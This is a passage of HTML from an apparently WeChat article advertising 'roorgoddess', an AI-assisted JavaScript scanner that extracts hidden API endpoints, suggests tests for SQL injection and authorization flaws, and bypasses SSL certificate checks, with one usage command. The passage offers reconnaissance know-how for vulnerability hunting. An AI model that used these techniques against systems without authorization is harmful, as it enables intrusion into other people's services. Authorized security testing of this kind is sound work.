rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d3d5ba6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5E2KQszX9yRiajsLUh6dGibDerbZLicuVSZ4fFl31NDKMYkPjZfIqR12fA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI赋能的JS扫描与漏洞挖掘神器|漏洞探测</span></figcaption></figure><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">JS深度分析</span></strong><span leaf="">：自动扫描JS文件，提取隐藏的API接口和参数，结合AI风险评估，挖掘潜在漏洞，如SQL注入、未授权访问等。</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037793" alt="AI赋能的JS扫描与漏洞挖掘神器|漏洞探测" class="rich_pages wxw-img" data-ratio="0.5083333333333333" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b425e24f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5TCpYFffq7JcpreUsvv7QPJsrOssnHUEHXgjIF1IKJ8ic62L7VF8BicZg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI赋能的JS扫描与漏洞挖掘神器|漏洞探测</span></figcaption></figure><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">高效爬虫与响应分析</span></strong><span leaf="">：支持批量URL扫描，自动抓取响应状态、页面长度及ico hash值，并生成黑暗引擎查询语法，提升效率。</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037790" alt="AI赋能的JS扫描与漏洞挖掘神器|漏洞探测" class="rich_pages wxw-img" data-ratio="0.37037037037037035" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e4d1d5ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5LD2Sa7FUdE5VKCzYVmNX8gxoRprOwIiaeiaDnstuk93EVyRb6pYIAOlw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI赋能的JS扫描与漏洞挖掘神器|漏洞探测</span></figcaption></figure><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">灵活配置与扩展</span></strong><span leaf="">：提供自定义拼接规则（--url）、证书绕过（--cer）、超时设置（--time）及请求头配置，适配复杂场景。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AI驱动的漏洞提示</span></strong><span leaf="">：通过AI对话机制，分析JS代码中的潜在风险，智能推荐漏洞测试方向，如ID fuzzing或鉴权问题。</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037792" alt="AI赋能的JS扫描与漏洞挖掘神器|漏洞探测" class="rich_pages wxw-img" data-ratio="0.9361111111111111" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=783d628d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5ve3PibeuIqicoda6IElaFGicUkYcuClKjukVZ6u5pBJckpmZW3QVy8zyQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI赋能的JS扫描与漏洞挖掘神器|漏洞探测</span></figcaption></figure><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">日志与结果管理</span></strong><span leaf="">：自动记录扫描URL及参数，生成详细日志，方便后续分析与复查，输出结果直观清晰。</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037789" alt="AI赋能的JS扫描与漏洞挖掘神器|漏洞探测" class="rich_pages wxw-img" data-ratio="0.23425925925925925" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1d6582b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5sfWibx2mCYk7BKwNiaN58guJbXZlUwg5m9rB07ibhaSUe9DU6sLG12RMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI赋能的JS扫描与漏洞挖掘神器|漏洞探测</span></figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037796" alt="AI赋能的JS扫描与漏洞挖掘神器|漏洞探测" class="rich_pages wxw-img" data-ratio="0.5805555555555556" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8c90458b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd50qv8zC8E0LeYOyNBQwlEqzwlMHwRw47hjHQgHEkCK7nKHJ1ibTvZwxw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI赋能的JS扫描与漏洞挖掘神器|漏洞探测</span></figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037797" alt="AI赋能的JS扫描与漏洞挖掘神器|漏洞探测" class="rich_pages wxw-img" data-ratio="0.5185185185185185" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e5665261&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUC00e0HO0icib8r6tnpAdpd5lJTkFib1twZS1LV1AX4bad4VsTuxmNpy0DpQ8SRfBsBaWdiaR0utf25g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="color: rgb(136, 136, 136);font-size: 12px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI赋能的JS扫描与漏洞挖掘神器|漏洞探测</span></figcaption></figure><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">批量处理与自动化</span></strong><span leaf="">：支持批量URL文件扫描，结合AI自动化问话机制，减少手动操作，提升大规模测试效率。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;font-weight: normal;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">用户友好体验</span></strong><span leaf="">：工具操作简单，扫描结果一目了然，几分钟即可完成复杂信息收集，适合挂后台运行，效率极高。</span></p></li></ul><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">使用介绍</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">📦用法</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">绕过证书验证（--cer）</span></strong><span leaf=""> 在URL后添加</span><code style="color: rgb(248, 57, 41);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">--cer</span></code><span leaf="">参数，即可绕过SSL证书验证，适用于目标站点证书不信任的场景。</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">示例</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/04LrpEqAf4sBahicTELkciabore7uQzxQUqxr94QF1S3752orOzNdia6arCxe8o6DIicFiaJRKYHfQvhLVnpia2PhF38LjPoseziavm/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">roorgoddess --url <a href="https://example.com" target="_blank">https://example.com</a> --cer</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037795" alt="AI赋能的JS扫描与漏洞挖掘神器|漏洞探测" class="rich_pages wxw-img" data-ratio="0.35833333333333334" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" 